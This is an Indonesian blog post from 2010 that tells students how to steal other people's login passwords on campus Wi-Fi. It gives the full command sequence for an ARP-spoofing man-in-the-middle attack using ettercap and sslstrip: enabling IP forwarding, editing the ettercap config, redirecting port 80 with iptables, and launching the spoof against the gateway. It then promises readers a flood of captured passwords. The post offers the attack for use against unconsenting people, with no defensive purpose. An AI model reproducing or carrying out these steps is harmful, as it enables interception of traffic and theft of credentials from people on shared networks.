Hacking Https with ubuntu

Senin, 13 Desember 2010

buat temen2 yang di kampusnya ada Wifi-nya dan pengen sekali-kali buat ngintip password orang yang sedang login di port 80..mungkin bisa nyobain yang namanya hacking https. sebelum anda melakukan hacking https atau yang biasa kita sebut sniffing? anda perlu menginstall terlebih dahulu package ettercap dengan menggunakan apt or ubuntu sofwere center dan sebuah package sslstrip yang bisa di download di sini. OK saya anggap anda telah menginstall ettercapng dan sslstrip nya..? Let's Play...!! pertama kita berikan nilai 1 untuk menjalankan ip_forwad nya.ketikan perintah di bawah ini.
root@bara-laptop:/# echo 1 > /proc/sys/net/ipv4/ip_forward root@bara-laptop:/# nano /etc/etter.conf

#--------------# Linux #--------------# if you use iptables: #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" hilangkan tanda commentar pada iptables sehingga menjadi seperti ini. # if you use iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" save dan kemudian keluar dari editor nano. copy atau ketikan perintah di bawah ini untuk melakukan setting terhadap port yang nnt akan kita hack.

root@bara-laptop:/# iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport #ubah menjadi seperti ini

root@bara-laptop:/# iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 10000

NB : untuk %iface sesuaikan dengan milik anda. selanjutnya jalankan sslstrip-nya.

root@bara-laptop:/# sslstrip -a -f -k

sslstrip 0.6 by Moxie Marlinspike running... untuk keterangan options pada sslstrip anda bisa melihat di sslstrip -h setelah itu jalankan ettercep anda dengan menggunkanan perintah di bawah ini.

root@bara-laptop:/# ettercap -i wlan0 -Tq -M ARP:REMOTE -P autoadd /192.168.108.1/ //

untuk 192.168.108.1 sesuaikan dengan ip gatewey milik anda. di jamin klo anda akan kebanjiran password ( klo banyak yang login.hhe )....